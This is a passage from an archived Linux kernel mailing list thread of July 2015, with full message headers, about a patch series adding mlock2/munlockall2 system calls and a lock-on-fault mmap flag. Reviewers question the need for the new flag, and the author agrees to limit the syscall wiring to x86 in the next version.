without. But that could be still solvable without introducing a new vma 
flag everywhere.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V4 5/6] mm: mmap: Add mmap flag to request VM_LOCKONFAULT
Date: Wed, 22 Jul 2015 14:25:58 +0300
Lines: 17
Approved: news@gmane.org
Message-ID: <20150722112558.GC8630@node.dhcp.inet.fi>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-6-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1437564377 29859 80.91.229.3 (22 Jul 2015 11:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jul 2015 11:26:17 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: sparclinux-owner@vger.kernel.org Wed Jul 22 13:26:08 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZHsA3-00031T-4x
	for lnx-sparclinux@plane.gmane.org; Wed, 22 Jul 2015 13:26:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934024AbbGVL0F (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 22 Jul 2015 07:26:05 -0400
Original-Received: from mail-wi0-f175.google.com ([209.85.212.175]:34933 "EHLO
	mail-wi0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933918AbbGVL0D (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 22 Jul 2015 07:26:03 -0400
Original-Received: by wibxm9 with SMTP id xm9so158787502wib.0
        for <sparclinux@vger.kernel.org>; Wed, 22 Jul 2015 04:26:01 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=/pwjWrgvWt3da2Ooi6Fgf1FRgPaty0dhMuVegOV9bPU=;
        b=RjOQ3XWNtXEZ4gUNLWhv0+aE8sEHGCV6Ec1RLGy7xK1kiBPvXgx4M/fuwwPoezYNw/
         n3LPG+j9YQosQpKxE5O62HYSL8zKREWZSI7RZbybilLkVxla+c2ZXuWZSsZkRxid09FT
         kOEkW3GfueswhxwoEY8841yKHfRk07OhnxNV92UYXgmAh2cspDxTwWyvjtXQIlAX3Yn0
         PTASPP+U2551kkwkTA5bBIV3iuk6xJWvoPbHqVYn6XM8xxMyuMMx1jWeGwtCQqZmgXeb
         4VQ1H5Il4RAfYLQIVsQVgYJrD2+RT115vvi7DVLtzzRVOq896ViTSIR+Kqku2MIcrc+w
         Eoyg==
X-Gm-Message-State: ALoCoQkBWU/Ifgh5+8aFjIvLX/Q+l+aw5fGAHNyFvVGJW9d/0lbraE09U7mCRY3Cv9YBrUWqIuLA
X-Received: by 10.194.112.3 with SMTP id im3mr4171343wjb.54.1437564361712;
        Wed, 22 Jul 2015 04:26:01 -0700 (PDT)
Original-Received: from node.shutemov.name (dsl-espbrasgw1-54f9d1-241.dhcp.inet.fi. [84.249.209.241])
        by smtp.gmail.com with ESMTPSA id y1sm21562809wib.7.2015.07.22.04.25.59
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 22 Jul 2015 04:26:00 -0700 (PDT)
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id 6845F40EE2; Wed, 22 Jul 2015 14:25:58 +0300 (EEST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1437564358;
	bh=T01qSVqpqXH9K8iB4w6nJOLmDAKq/BEJkuftpJ4INJ0=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=UGjqvocf9GiUgC1QHGl6V4T5QTAopnJCNNE+gKqXAvFYyodOlo4b1WF4j2rYrAGzw
	 FLVVNH3vJv2T1yAe7yhQMJpLTE8kccP6LOUdH5QP5vhR8ApZdGPNJiuKswEDAF/0lr
	 G6G8ax8lz13vPnT/KUEixvFTlj6O4sWqVsCsp9qw=
Content-Disposition: inline
In-Reply-To: <1437508781-28655-6-git-send-email-emunson@akamai.com>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21269 gmane.linux.ports.alpha:3220 gmane.linux.kernel:2002013 gmane.linux.ports.mips.general:49530 gmane.linux.ports.parisc:25856 gmane.linux.ports.ppc64.devel:115690 gmane.linux.kernel.mm:136085 gmane.linux.kernel.cross-arch:28552 gmane.linux.kernel.api:13030
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21269>

On Tue, Jul 21, 2015 at 03:59:40PM -0400, Eric B Munson wrote:
> The cost of faulting in all memory to be locked can be very high when
> working with large mappings.  If only portions of the mapping will be
> used this can incur a high penalty for locking.
> 
> Now that we have the new VMA flag for the locked but not present state,
> expose it as an mmap option like MAP_LOCKED -> VM_LOCKED.

What is advantage over mmap() + mlock(MLOCK_ONFAULT)?

-- 
 Kirill A. Shutemov
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH V4 2/6] mm: mlock: Add new mlock, munlock, and munlockall
 system calls
Date: Wed, 22 Jul 2015 10:05:02 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <20150722140502.GB2859@akamai.com>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-3-git-send-email-emunson@akamai.com>
 <55AF5F5A.3000707@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="NDin8bjvE/0mNLFQ"
X-Trace: ger.gmane.org 1437573922 26045 80.91.229.3 (22 Jul 2015 14:05:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jul 2015 14:05:22 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-mm@kvack.org
To: Vlastimil Babka <vbabka@suse.cz>
Original-X-From: owner-linux-mm@kvack.org Wed Jul 22 16:05:08 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZHudv-0007NU-Hk
	for glkm-linux-mm-2@m.gmane.org; Wed, 22 Jul 2015 16:05:07 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 972CA9003C9; Wed, 22 Jul 2015 10:05:06 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 922089003C7; Wed, 22 Jul 2015 10:05:06 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 7EA879003C9; Wed, 22 Jul 2015 10:05:06 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f180.google.com (mail-qk0-f180.google.com [209.85.220.180])
	by kanga.kvack.org (Postfix) with ESMTP id 53D339003C7
	for <linux-mm@kvack.org>; Wed, 22 Jul 2015 10:05:06 -0400 (EDT)
Original-Received: by qkfc129 with SMTP id c129so110888874qkf.1
        for <linux-mm@kvack.org>; Wed, 22 Jul 2015 07:05:06 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=hBZ6fD8Fcmw9+X/6bhALOhSzOK8FCUtPiA2Y1OVPzL8=;
        b=bOven/LNngbk6GAwcwbN1Q3voKqSFfR7MQV2KcBgTPrdw8vpFMZByPfb7CWNrT7Czl
         /wKDgUB7UYNh7AITixBXtGhcZzId2d9R4jxTwQlxe/ykD2qWCwB+nOrOHav2UaO59390
         bYUjLHec8QdYG3l/DMZSfTsSFRvvZHS2ziwaLLA3z3eI/fxrbxf2WkF4v+dbNl6EywgX
         lKRl5EEK7wiDn0feGbY2TlF9BrhI8dIaCknIMqYq7qXnC5I3OvBTBGkAoj4uM8QsU9BX
         IpehxPwuvpi5//xfwrCIVTdJ1eD5qNgiAwn0tPXSd2OrU26A/iT0jBQZv4QjhSvAwTHE
         SHAA==
X-Gm-Message-State: ALoCoQlhz6gH3JcODZT3JI8FYfrapGxk4XJbrYnOkt6u4F6IcDNtn36Nrciu2hwLaWXr1iXDWekyukIS57cucN285i2B88dJMF8ueW5szZY7tAIjPgeEYVaXYe5PswdfUj/dNrEssECiXCWjz20g8J6p3oOgR/wnAtfknwVMHpGqEkqYtUDGLXoQcAr7LSStgfwlDrMZlxeJ
X-Received: by 10.55.15.213 with SMTP id 82mr3913146qkp.12.1437573906190;
        Wed, 22 Jul 2015 07:05:06 -0700 (PDT)
X-Received: by 10.55.15.213 with SMTP id 82mr3912965qkp.12.1437573905065;
        Wed, 22 Jul 2015 07:05:05 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com ([23.79.238.175])
        by mx.google.com with ESMTP id f82si1770413qkf.18.2015.07.22.07.05.02
        for <linux-mm@kvack.org>;
        Wed, 22 Jul 2015 07:05:04 -0700 (PDT)
Received-SPF: softfail (google.com: domain of transitioning emunson@akamai.com does not designate 23.79.238.175 as permitted sender) client-ip=23.79.238.175;
Authentication-Results: mx.google.com;
       spf=softfail (google.com: domain of transitioning emunson@akamai.com does not designate 23.79.238.175 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 047E94C03E;
	Wed, 22 Jul 2015 14:05:44 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id E00A84C012;
	Wed, 22 Jul 2015 14:05:43 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437573943; bh=pCuZlSjCgBkJX2FZ12NbT6LN1RiSZw1yQPJ9/ttMxPw=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=JBY7H5k1ZVvHOajj5MdZOITp344RD2z4eyX5ySwl/64gqaNfa73sGY+mqJqDiJEuL
	 oAJ9qplYXf4UBqE5MKbdF3s1ufs7WNWxX1SEaOMRcIWXFAtgaRbt0heVu2yYZHUctQ
	 tNuGGJPY+yR9HkuGSoLM6fs6qaCRuGrGYF6x6At4=
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 8AF1F8008A;
	Wed, 22 Jul 2015 14:05:02 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <55AF5F5A.3000707@suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136095 gmane.linux.ports.alpha:3221 gmane.linux.kernel:2002161 gmane.linux.ports.arm.kernel:428256 gmane.linux.ports.ia64:25612 gmane.linux.ports.mips.general:49532 gmane.linux.ports.parisc:25857 gmane.linux.ports.ppc64.devel:115697 gmane.linux.ports.sh.devel:47448 gmane.linux.ports.sparc:21270 gmane.linux.kernel.api:13073 gmane.linux.kernel.cross-arch:28553
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136095>


--NDin8bjvE/0mNLFQ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 22 Jul 2015, Vlastimil Babka wrote:

> On 07/21/2015 09:59 PM, Eric B Munson wrote:
> >With the refactored mlock code, introduce new system calls for mlock,
> >munlock, and munlockall.  The new calls will allow the user to specify
> >what lock states are being added or cleared.  mlock2 and munlock2 are
> >trivial at the moment, but a follow on patch will add a new mlock state
> >making them useful.
> >
> >munlock2 addresses a limitation of the current implementation.  If a
>=20
>   ^ munlockall2?

Fixed, thanks.


--NDin8bjvE/0mNLFQ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVr6MOAAoJELbVsDOpoOa9s9sP/A7izRQp4uVnMpOwD0MxlFeD
XcaKq8V5n3o7/BMR992hOIWBEl5/HUrJR3sRtfi42uPUYK930Ofy+mckUN6D4iiH
EyIKyjBq6DIBcChWmlXqNBh86cb1gvkx1gTNjjOSXVIFkrjvstCRomfHd7FtDmBq
u37dhRe0VJLAVWRRn+GvV5IEJzv20RnEgdfSw8kf+M4nO9g/59z8qe+IC3g2xLD2
q8D1rEwwnDOeYZVSkP+dt7EVkoR/hHbDdgijEocWwpKTNih4NcH0xgfcfYFbT3j+
MNNt3EeYAjmgZNZOL/YRbxWbnol84EdQUAZ9lfkjL/n5Pd4A4/yKduK1692DAtzD
RDPGJ5xP9g8JHM6+xvMk66ZEMFfZpnGioXfrV+2emLq8q4P+N2zJ6PREPk7r00tO
cbFFd/RNnVLBcCjj/1aIHG2txHVB9GVkUzj7MbHID019oC2IcQU+vFfUJcs5gexr
ntuWehXpnANwZY+kUKZWPevnUNqWsll4ITtbG7/6L20NbBADB8EXRnIyj4MzdLMN
x/aAITZB0qq1ad9H1pH4eXp7tnzX2b3T3HZN8+PWWhhPNBFenRFiOC4VnNT6J4aS
pZ/DMiXv5h6h17dEX3UQK4aMUurZw7Ptaj/N16MOsxTWM0jIm4De79+TfARt58Zs
xqZ6XgkcJBiIIcnJXw4D
=NAcA
-----END PGP SIGNATURE-----

--NDin8bjvE/0mNLFQ--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH V4 2/6] mm: mlock: Add new mlock, munlock, and munlockall
 system calls
Date: Wed, 22 Jul 2015 10:15:01 -0400
Lines: 69
Approved: news@gmane.org
Message-ID: <20150722141501.GA3203@akamai.com>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-3-git-send-email-emunson@akamai.com>
 <20150721134441.d69e4e1099bd43e56835b3c5@linux-foundation.org>
 <1437528316.16792.7.camel@ellerman.id.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="opJtzjQTFsWo+cga"
X-Trace: ger.gmane.org 1437574517 3951 80.91.229.3 (22 Jul 2015 14:15:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jul 2015 14:15:17 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Catalin Marinas <catalin.marinas@arm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Michal Hocko <mhocko@suse.cz>, linux-mm@kvack.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-am33-list@redhat.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Vlastimil Babka <vbabka@suse.cz>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-xtensa@linux-xtensa.org, linux-s390@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
	linux-parisc@vger.kernel.org, linux-api@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Jul 22 16:15:09 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZHunb-0004ck-0a
	for lnx-linux-alpha@plane.gmane.org; Wed, 22 Jul 2015 16:15:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965313AbbGVOPF (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 22 Jul 2015 10:15:05 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:45282 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965275AbbGVOPD (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 22 Jul 2015 10:15:03 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 15E8528D96;
	Wed, 22 Jul 2015 14:15:02 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id DF0D828D26;
	Wed, 22 Jul 2015 14:15:01 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437574501; bh=W+jWuzsX0MkuZqHtLyppJiVQut54uiuJLDPR/36c6+M=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=tQXatuwnNXtFz1wqwPeuZ3gUw2/jiKuMLsohc8oHK9/VTv5BY2HEY6+RLpuGCl5R0
	 /JICf+G8uIUEz1lWV9GnEgw3mprWmID0eRfDHzP4lSVjQI4vmei5LKDr+z2X/ud6vK
	 rfjNSJp37YXPy6i6058RhkiP16lh6fGV0/50UVGI=
Original-Received: from akamai.com (unknown [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id CD3428008A;
	Wed, 22 Jul 2015 14:15:01 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <1437528316.16792.7.camel@ellerman.id.au>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3222 gmane.linux.ports.mips.general:49533 gmane.linux.ports.m68k:7375 gmane.linux.ports.ia64:25613 gmane.linux.ports.sh.devel:47449 gmane.linux.kernel.mm:136099 gmane.linux.ports.sparc:21271 gmane.linux.kernel.cross-arch:28555 gmane.linux.ports.arm.kernel:428271 gmane.linux.ports.parisc:25858 gmane.linux.kernel.api:13075 gmane.linux.kernel:2002180 gmane.linux.ports.ppc64.devel:115698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3222>


--opJtzjQTFsWo+cga
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 22 Jul 2015, Michael Ellerman wrote:

> On Tue, 2015-07-21 at 13:44 -0700, Andrew Morton wrote:
> > On Tue, 21 Jul 2015 15:59:37 -0400 Eric B Munson <emunson@akamai.com> w=
rote:
> >=20
> > > With the refactored mlock code, introduce new system calls for mlock,
> > > munlock, and munlockall.  The new calls will allow the user to specify
> > > what lock states are being added or cleared.  mlock2 and munlock2 are
> > > trivial at the moment, but a follow on patch will add a new mlock sta=
te
> > > making them useful.
> > >=20
> > > munlock2 addresses a limitation of the current implementation.  If a
> > > user calls mlockall(MCL_CURRENT | MCL_FUTURE) and then later decides
> > > that MCL_FUTURE should be removed, they would have to call munlockall=
()
> > > followed by mlockall(MCL_CURRENT) which could potentially be very
> > > expensive.  The new munlockall2 system call allows a user to simply
> > > clear the MCL_FUTURE flag.
> >=20
> > This is hard.  Maybe we shouldn't have wired up anything other than
> > x86.  That's what we usually do with new syscalls.
>=20
> Yeah I think so.
>=20
> You haven't wired it up properly on powerpc, but I haven't mentioned it b=
ecause
> I'd rather we did it.
>=20
> cheers

It looks like I will be spinning a V5, so I will drop all but the x86
system calls additions in that version.

--opJtzjQTFsWo+cga
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVr6VlAAoJELbVsDOpoOa95lcP/09wvimQwXtTG/OgMLsgEPaz
FVL4uSMeiSaPdcdYp1Qp+ie80X/Ve92le8uJ9pcRKV3+cK2xP8OiOQQQwz57cBU8
MIzkJPycm2gww6DRwYVjXhUJH2FMb1KK1vQALVWwh0mUAkRvpi4T7mtxSzmRUD+V
TEw4dIBmK3dEorWA7duy9L/8juLu/j2kd3GzFnd5vp7q5HDb+tJrBD+I1jos2dlQ
KqYzU5vCmPC11pc2TzzFkXx6hGux1Rj4y/7jUMID14Hi+Ql0dQGwMo6kcMmdxS+P
kULToMPhnlDZIAfNOpfanHUsnzLPy4UVJ2ecYHXte7Yj4uxU9NXf6Dli47/iZK4H
lp+MUwmXEQsoQTqwUWO36Hcpu5aKHQzbmz3qeNwLe37ZauHahT7GSYR8ZrntQo2v
oQs9zdeLt2enFwC0QSubvRtIAEbpvnWvup0lD89fEFMubri6IFKFFMuSIr9kNBS0
6jcxjzbH03cDgnrlAEb0k54nblsgCRoagmHpqZH+TzAKlLqUXpIeqVUnkjXrclkg
XBlxVwh2m0LvFFWnTZ/AoXmZif91GBNQw+ZPkju+iRs8r3YtjH3Pv2aZL4tjDFzA
/Gyv+WSvZ3NjakBejr+qzZiET/MSEmX1agUJo/2sd0QUL/z0Jk1gConPgmjaoFCO
UoTgStn2fZdwMTcy6Lyt
=nv7P
-----END PGP SIGNATURE-----

--opJtzjQTFsWo+cga--
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V4 5/6] mm: mmap: Add mmap flag to request VM_LOCKONFAULT
Date: Wed, 22 Jul 2015 10:32:20 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <20150722143220.GB3203@akamai.com>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-6-git-send-email-emunson@akamai.com>
 <20150722112558.GC8630@node.dhcp.inet.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="eJnRUKwClWJh1Khz"
X-Trace: ger.gmane.org 1437575555 22332 80.91.229.3 (22 Jul 2015 14:32:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jul 2015 14:32:35 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 22 16:32:25 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZHv4K-0005Hl-TJ
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jul 2015 16:32:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964956AbbGVOcX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jul 2015 10:32:23 -0400
Original-Received: from a23-79-238-175.deploy.static.akamaitechnologies.com ([23.79.238.175]:41243
	"EHLO prod-mail-xrelay07.akamai.com" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S964934AbbGVOcV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jul 2015 10:32:21 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id CFB1E4D76A;
